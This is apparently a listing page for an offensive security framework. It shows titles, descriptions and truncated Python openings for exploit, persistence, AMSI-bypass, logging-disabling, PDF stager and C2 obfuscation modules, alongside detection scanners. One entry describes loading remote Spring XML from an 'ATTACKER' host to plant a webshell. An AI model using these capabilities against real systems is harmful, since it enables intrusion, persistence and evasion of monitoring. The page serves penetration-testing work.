VLAN DTP Trunk Negotiation

Attempt to convert an access port into an 802.1Q trunk by sending Cisco DTP negotiation frames desirable/on/auto, then verify tagged VLAN reachability. !/usr/bin/env python3 -- coding: utf-8 -- """Negotiate an 802.1Q trunk via Cisco DTP from an access port.""" from future import annotations impor...

PostgreSQL COPY FROM PROGRAM RCE (CVE-2019-9193)

Authenticated remote code execution via COPY FROM PROGRAM on PostgreSQL 9.3 through 11.7. Requires a superuser database session. import re from typing import Optional, Tuple from kittysploit import from lib.protocols.postgresql.postgresqlclient import PostgreSQLClient class ModulePost,...

Samba CVE-2026-4480 print-command (%J) injection

CVE-2026-4480: Samba print servers configured with a print command that references %J pass the client-controlled job description to a shell without escaping metacharacters. An unauthenticated attacker with access to a guest printer share can submit a crafted print job for remote code execution...

PDF CVE-2026-25755 jsPDF Object Injection

Generate PDF PoC for CVE-2026-25755: jsPDF addJS object injection with /AA /O auto-action URI callback. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.pdf.mixins import PdfCveMixin from lib.pdf.generators.viewercve import writejspdfobjectinjection class ModuleAuxiliary...

PDF CVE-2024-4367 PDF.js Staged Delivery

Generate a CVE-2024-4367 FontMatrix PDF with staged JavaScript for authorized testing: callback, fetch+eval stager, or WebSocket C2. Uses CALLBACKURL not LHOST. PDF.js runs in a browser sandbox — for OS reverse shells use exploits/multi/fileformat/ with framework PAYLOAD. !/usr/bin/env python3 --...

Favicon HTTP Fingerprint

Collect favicon hashes Shodan-compatible MurmurHash3 and HTTP fingerprints Server, powered-by, title for host correlation and shadow-asset discovery. !/usr/bin/env python3 -- coding: utf-8 -- """Favicon and HTTP fingerprint pivoting for host correlation.""" from future import annotations import...

OpenAPI Schema Abuse

Discovers exposed OpenAPI/Swagger documents and probes documented GET endpoints for unauthenticated access to sensitive routes. !/usr/bin/env python3 -- coding: utf-8 -- """Probe exposed OpenAPI/Swagger specs for unauthenticated sensitive endpoints.""" from future import annotations import json...

Shell Profile Persistence

Persists a payload in shell startup files: /.bashrc, /.profile, /etc/profile.d/, or a custom profile path. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.linux.persistencehelpers import LinuxPersistenceMixin, PERSISTENCEAGENT class ModulePost, LinuxPersistenceMixi...

Fortinet FortiSandbox CVE-2026-25089 detection

Fingerprints FortiSandbox and flags versions affected by CVE-2026-25089 unauthenticated OS command injection in the VNC start handler: 5.0.0–5.0.5, 4.4.0–4.4.8, and all 4.2.x. !/usr/bin/env python3 -- coding: utf-8 -- import re from typing import Optional, Tuple from kittysploit import from...

Langflow < 1.9.0 Public Build RCE (CVE-2026-33017)

CVE-2026-33017: Langflow versions below 1.9.0 allow unauthenticated remote code execution by posting a malicious custom component to /api/v1/buildpublictmp/flowid/flow with a clientid session cookie. !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from...

Zookeeper Unauthenticated Enumeration

Collects Zookeeper srvr/stat/conf output via unauthenticated four-letter commands. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate Zookeeper four-letter-word admin commands without authentication.""" from kittysploit import from lib.protocols.tcp.tcpscannerclient import Tcpscannerclient fr...

Apache ActiveMQ CVE-2026-34197 Jolokia RCE

CVE-2026-34197: authenticated Jolokia exec on org.apache.activemq MBeans allows addNetworkConnector with a crafted vm:// URI that loads remote Spring XML xbean:http://ATTACKER/shell.xml for arbitrary code execution. This module serves shell.xml with an inline base64 JSP webshell, then invokes the...

Apache ActiveMQ CVE-2026-34197 detection

Fingerprints Apache ActiveMQ Classic and flags versions affected by CVE-2026-34197 Jolokia addNetworkConnector RCE: 5.19.4 and 6.0.0 through 6.2.2. !/usr/bin/env python3 -- coding: utf-8 -- import re from typing import Optional, Tuple from kittysploit import from lib.protocols.http.httpclient...

Samba CVE-2026-4480 detection

Fingerprints Samba and flags versions affected by CVE-2026-4480 print-command %J command injection. Fixed upstream in 4.22.10, 4.23.8, and 4.24.3. Actual exploitability also requires a custom print command that references %J and is not using cups/iprint. !/usr/bin/env python3 -- coding: utf-8 --...

Log4Shell Header Detection

Sends safe JNDI-style markers in HTTP headers and detects Log4j-related error reflection CVE-2021-44228 indicator, no outbound callback. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Log4Shell CVE-2021-44228 header injection indicators.""" from kittysploit import from...

MOVEit Transfer Detection

Detects Progress MOVEit Transfer login and portal pages. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Progress MOVEit Transfer web interface.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import ishtmlresponse class...

Spring4Shell Detection

Probes Spring Framework class.module.classLoader parameter binding behavior indicative of CVE-2022-22965 safe fingerprint, no RCE. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Spring4Shell CVE-2022-22965 parameter binding indicators.""" from kittysploit import from...

Apache Solr CVE-2026-44825 Velocity Template RCE

CVE-2026-44825: affected Apache Solr versions may allow remote command execution via Velocity template injection on /collection/select. When authentication is enabled, common default credentials are attempted before exploitation. !/usr/bin/env python3 -- coding: utf-8 -- import base64 import re...

WinRM Service Detection

Detects WinRM /wsman endpoints on ports 5985/5986. !/usr/bin/env python3 -- coding: utf-8 -- """Detect WinRM /wsman endpoints and advertised auth methods.""" from kittysploit import from lib.protocols.tcp.tcpscannerclient import Tcpscannerclient from lib.scanner.winrm.detectors import probewinrm...

Modbus TCP identify

Actively probes Modbus TCP port 502 by scanning unit IDs and reading holding registers. Safe read-only reconnaissance for PLC/RTU discovery. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from...

ActiveMQ Console Detection

Detects ActiveMQ web admin console on port 8161. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Apache ActiveMQ web console.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import ishtmlresponse class ModuleScanner,...

MinIO Public Bucket Listing Verification

Confirms anonymous ListBuckets or open bucket listing on MinIO/S3 API. !/usr/bin/env python3 -- coding: utf-8 -- """Verify MinIO/S3 anonymous bucket listing.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import isxmlrespon...

Apache Tomcat CVE-2026-43512 detection

Fingerprints Apache Tomcat and flags versions affected by CVE-2026-43512 DIGEST authentication bypass: 9.0.x 9.0.118, 10.1.x 10.1.55, 11.0.x 11.0.22, 8.5.x = 8.5.100. !/usr/bin/env python3 -- coding: utf-8 -- import re from typing import Optional, Tuple from kittysploit import from...

Apache Struts Detection

Detects Struts2 action extensions and OGNL error fingerprints. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Apache Struts2 framework indicators.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import ishtmlresponse...

Windows AMSI Bypass

Disable AMSI in the current PowerShell process. Variants: plain amsiInitFailed reflection, obfuscated/Base64 field names, AmsiContext patch, or AmsiScanBuffer memory patch double-add trampoline. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.stagerevasion import...

RabbitMQ Management Detection

Detects RabbitMQ management UI and overview API. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed RabbitMQ management plugin.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "RabbitMQ Management Detection",...

Jenkins Open API Verification

Confirms unauthenticated Jenkins whoAmI/api and script console indicators. !/usr/bin/env python3 -- coding: utf-8 -- """Verify exposed Jenkins API and script console surface.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation...

Windows Gather UAC & Integrity Audit

Audit UAC policy EnableLUA, ConsentPromptBehaviorAdmin, LocalAccountTokenFilterPolicy, groups, and privileges. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.windows.uacbypass import UacBypassMixin class ModulePost, UacBypassMixin: info = "name": "Windows Gather U...

Windows Disable PowerShell Logging

Disable PowerShell Script Block, Module, and Transcription logging. Modes: registry admin GPO keys or sessioncache in-process cachedGroupPolicySettings + PS ETW provider — no admin required. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.stagerevasion import...

Windows External Tool Runner

Upload a local binary or script to the target, execute it with operator-supplied arguments, and optionally download a remote output file. !/usr/bin/env python3 -- coding: utf-8 -- """ Upload a local operator tool to the target, execute it, and optionally pull an output artifact back through the...

S7 read DB

Reads bytes from a Siemens PLC data block via an active S7comm session !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.icssessionmixin import S7SessionMixin class ModulePost, S7SessionMixin: info = "name": "S7 read DB", "description": "Reads bytes from a...

PowerShell HTTP Chunked Mimic Transform

Wraps C2 bytes in HTTP/1.1 chunked transfer frames and emits PowerShell client code. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from modules.transforms.python.protocol.httpchunked import Module as PythonHttpChunkedTransform class ModulePythonHttpChunkedTransform:...

Additive Stream Transform

Adds a repeating key to each byte mod 256. Symmetric encode/decode. Alternative to XOR for signature evasion. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from kittysploit import class ModuleTransform: """Additive stream transform - obfuscates C2 traffic by adding key byt...

Base64 Frame Transform

Frames each C2 chunk as a length-prefixed Base64 line. Handles fragmented TCP reads. !/usr/bin/env python3 -- coding: utf-8 -- import base64 import struct from typing import Optional from kittysploit import FRAMEPREFIX = b"K64 " FRAMESUFFIX = b"\n" MAXFRAMESIZE = 1024 1024 class ModuleTransform:...

PHP XOR Stream Transform

XORs the C2 stream with a repeating key and emits PHP client code. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from modules.transforms.python.stream.xor import Module as PythonXorTransform class ModulePythonXorTransform: """PHP XOR stream transform."""...

PowerShell XOR Stream Transform

XORs the C2 stream with a repeating key and emits PowerShell client code. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from modules.transforms.python.stream.xor import Module as PythonXorTransform class ModulePythonXorTransform: """PowerShell XOR stream transform."""...

PowerShell WebSocket Mimic Transform

Wraps C2 bytes in WebSocket-like binary frames and emits PowerShell client code. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from modules.transforms.python.protocol.websocketmimic import Module as PythonWebSocketTransform class ModulePythonWebSocketTransform: """PowerShe...

TLS/HTTPS Mimic Transform

Wraps C2 stream in TLS 1.2 Application Data records so traffic looks like HTTPS on the wire plain TCP. !/usr/bin/env python3 -- coding: utf-8 -- """ TLS/HTTPS mimic transform: wraps C2 traffic in TLS Application Data records so the stream looks like HTTPS TLS 1.2 on the wire while using plain TCP...

WebSocket Mimic Transform

Wraps C2 bytes in WebSocket-like binary frames with an initial HTTP Upgrade exchange. !/usr/bin/env python3 -- coding: utf-8 -- """ WebSocket mimic transform. The first server-side encode prepends an HTTP 101 response, generated client code prepends an HTTP Upgrade request, then traffic is wrappe...

ROT Stream Transform

Shifts each byte by a fixed value mod 256. Encode: add shift, decode: subtract. Simple Caesar-style obfuscation. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from kittysploit import class ModuleTransform: """ROT Caesar stream transform - shifts each byte by a fixed value...

Zlib Base64 Frame Transform

Compresses each C2 chunk with zlib, then frames it as a length-prefixed Base64 line. !/usr/bin/env python3 -- coding: utf-8 -- import base64 import struct import zlib from typing import Optional from kittysploit import FRAMEPREFIX = b"KZ64 " FRAMESUFFIX = b"\n" MAXFRAMESIZE = 1024 1024 class...

HTTP Chunked Mimic Transform

Wraps C2 bytes in HTTP/1.1 chunked transfer frames with initial HTTP-like headers. !/usr/bin/env python3 -- coding: utf-8 -- """ HTTP chunked mimic transform. The first server-side encode prepends an HTTP/1.1 response header, the first client-side encode generated for payloads prepends an HTTP PO...

Cascade Stream Transform

Multi-layer: XOR + Additive + ROT with a single master key. High obfuscation strength, stream-offset aware. !/usr/bin/env python3 -- coding: utf-8 -- """ Cascade stream transform: multi-layer encoding XOR + Additive + ROT with a single master key. Designed for strong C2 traffic obfuscation and...

PHP HTTP Chunked Mimic Transform

Wraps C2 bytes in HTTP/1.1 chunked transfer frames and emits PHP client code. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from kittysploit import from modules.transforms.python.protocol.httpchunked import Module as PythonHttpChunkedTransform class...

PowerShell HTTPS Mimic Transform

Sends a fake TLS ClientHello then wraps C2 bytes in TLS Application Data records. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from modules.transforms.python.protocol.httpsmimic import CLIENTHELLOBYTES, Module as PythonHttpsTransform, class ModulePythonHttpsTransform:...

PowerShell Base64 Frame Transform

Frames C2 chunks as length-prefixed Base64 lines and emits PowerShell client code. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from modules.transforms.python.stream.base64frame import Module as PythonBase64FrameTransform class ModulePythonBase64FrameTransform:...

PHP Base64 Frame Transform

Frames C2 chunks as length-prefixed Base64 lines and emits PHP client code. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from modules.transforms.python.stream.base64frame import Module as PythonBase64FrameTransform class ModulePythonBase64FrameTransform: """PHP Base64...

SMTP Mimic Transform

Simulates SMTP handshake 220/EHLO/250 then wraps C2 in SMTP-like base64 lines. !/usr/bin/env python3 -- coding: utf-8 -- import base64 import struct from typing import Optional from kittysploit import SMTP handshake: server greeting + EHLO response SMTPSERVERGREETING = b"220 localhost ESMTP...

PHP HTTPS Mimic Transform

Sends a fake TLS ClientHello then wraps C2 bytes in TLS Application Data records. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from modules.transforms.python.protocol.httpsmimic import CLIENTHELLOBYTES, Module as PythonHttpsTransform, class ModulePythonHttpsTransform:...

PHP WebSocket Mimic Transform

Wraps C2 bytes in WebSocket-like binary frames and emits PHP client code. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from modules.transforms.python.protocol.websocketmimic import Module as PythonWebSocketTransform class ModulePythonWebSocketTransform: """PHP WebSocket...